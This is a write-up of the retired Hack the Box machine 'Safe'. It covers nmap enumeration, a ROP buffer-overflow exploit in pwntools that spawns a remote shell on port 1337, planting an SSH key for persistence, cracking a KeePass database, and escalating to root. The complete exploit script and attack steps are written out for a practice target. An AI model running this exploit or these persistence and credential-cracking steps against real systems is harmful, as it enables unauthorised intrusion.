
Safe – Hack the Box write-up
Safe is a retired machine from Hack the Box. It is rated as a easy machine, however, the user own difficulty is rated medium-hard (probably for containing a ROP exploitable binary, uncommon in this platform.
Enumeration
First, let’s start running a quick scan to discover which ports are open. nmap -T5 -n -Pn -oG fastscan -p- 10.10.10.147
1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 16:00 EDT
Warning: 10.10.10.147 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.147
Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
Nmap done: 1 IP address (1 host up) scanned in 113.76 seconds
Now, let’s look more in depth what is the service associated with each port nmap -T5 -n -p 22,80,1337 -sC -sV -oG indepthscan 10.10.10.147
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 17:17 EDT
Nmap scan report for 10.10.10.147
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 17:30:31 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| DNSVersionBindReqTCP:
| 17:30:26 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| GenericLines:
| 17:30:15 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back?
| GetRequest:
| 17:30:21 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 17:30:21 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 17:30:36 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? HELP
| NULL:
| 17:30:15 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| RPCCheck:
| 17:30:21 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| RTSPRequest:
| 17:30:21 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / RTSP/1.0
| SSLSessionReq:
| 17:30:36 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back?
| TLSSessionReq, TerminalServerCookie:
| 17:30:37 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
|_ What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=3/19%Time=5E73E16E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,3E,"\x2017:30:15\x20up\x20\x203:13,\x20\x200\x20users,\x20\x20load\x
SF:20average:\x200\.00,\x200\.00,\x200\.00\n")%r(GenericLines,63,"\x2017:3
SF:0:15\x20up\x20\x203:13,\x20\x200\x20users,\x20\x20load\x20average:\x200
SF:\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec
SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2017:30:21\x20up\x20\x203:13,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20
SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2017:30:21\x20up\x20\x203:13,\
SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00
SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\
SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2017:30:21\x20up\x20\x203:1
SF:3,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\
SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO
SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2017:30:21\x20up\x20\x203:1
SF:3,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\
SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2017:30:26\x20up\x20\x203:13,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")
SF:%r(DNSStatusRequestTCP,3E,"\x2017:30:31\x20up\x20\x203:13,\x20\x200\x20
SF:users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")%r(Help,
SF:67,"\x2017:30:36\x20up\x20\x203:13,\x20\x200\x20users,\x20\x20load\x20a
SF:verage:\x200\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me
SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2017:30:36
SF:\x20up\x20\x203:13,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00
SF:,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x
SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2017:30:37\x20up\
SF:x20\x203:13,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\
SF:.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\
SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2017:30:37\x20up\x20\x203:13,\x20\x
SF:200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n\nW
SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.54 seconds
Hmmm… Looks like we have a l33t port open. We’ll see what is running there later. By now, time to start my reconaissance part.
Recon
First, let’s check if any of the running services can be exploited remotely.
Nothing interesting so far. Better to see what is running under port 80.
Hurray, a boring Apache default page… Fuzzing does not give us any interesing information either.
However, reviewing the page source code gives us finally some valuable info! It seems that an app called ‘myapp’ (duh) is running under port 1337.
Also, we can download it by browsing into http://10.10.10.147/myapp. curl -v -XGET http://10.10.10.147/myapp -o myapp
It smells like a challenge similar to the BOF from the OSCP :). We need to confirm it sending a large message to the program.
Yep, we go the buffer overflow. Let’s run checksec
to see if it has any security measures enabled.
Yikes, NX enabled (non-executable stack). We can not simply put our shellcode in the stack to jump and execute it.
After opening the binary with Ghidra and looking into the decompiled code, we can ensure that there exists the buffer overflow as only 112 characters are reserved for the string.
Also, the function system is called, which can allow us to execute remote code via ROP. Obviously, the argument passed to this function is not a shell. It is actually the uptime binary:
Exploitation
It is time to use some binary exploitation skills. We need a way to put /bin/sh
onto the rdi register and then call the local function system()
.
Note: rdi register always acts as the first argument for the function that will be called. In x86 binaries, arguments were passed pushing registers into the stack.
Using objdump
we find a system()
call in address 0x401040.
Now I will use gef
to inspect the source code main and test functions.
Apparently, when the test()
function ends, jumps to the memory address stored in the r13 register, so we need to put there the system()
call we addressed before. In order to do this we need to look for a ROP gadget where we can store the system call. I will simplify this process using ropper:
Looks like 0x0000000000401206
would work for us.
We are almost finishing! We need to overwrite the stack base pointer with our shell, which will be done with the pattern create and pattern offset utilities of gef
:
So the string
oaaaaaaa
will be in our case a /bin/sh\x00
. Time to develope our own exploit with the help of pwntools.
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = remote('10.10.10.147', 1337)
buffer = "A"*112 + "/bin/sh\x00" # rbp = /bin/sh\x00
buffer += p64(0x401206) # ROP gadget addr
buffer += p64(0x401040) # r13 = system() call addr
buffer += p64(0x000000) # r14 = blank
buffer += p64(0x000000) # r15 = blank
buffer += p64(0x401152) # init() addr
print("Safe(10.10.10.147) HTB machine remote exploit")
p.sendline(buffer)
p.interactive()
It worked!!! :D
As the SSH service is enabled, I can add my public key to the authorized_keys file on the target:
Privilege Escalation
Root is easier than user, you’ll see. First, Copy every file from the user folder.
Now let’s crack the keepass database. We have a list of images which can be a hint that the database key could be one of them. However, in addition to the file, it is protected with a password, so I will use a small wordlist for each image used to decrypt de database.
It seems that the IMG_0547.JPG, along with the password ‘bullshit’, is our entrance to root :).
Performing a su root with the password retrieved leads us to our beloved root shell. Reading the flags from here is trivial.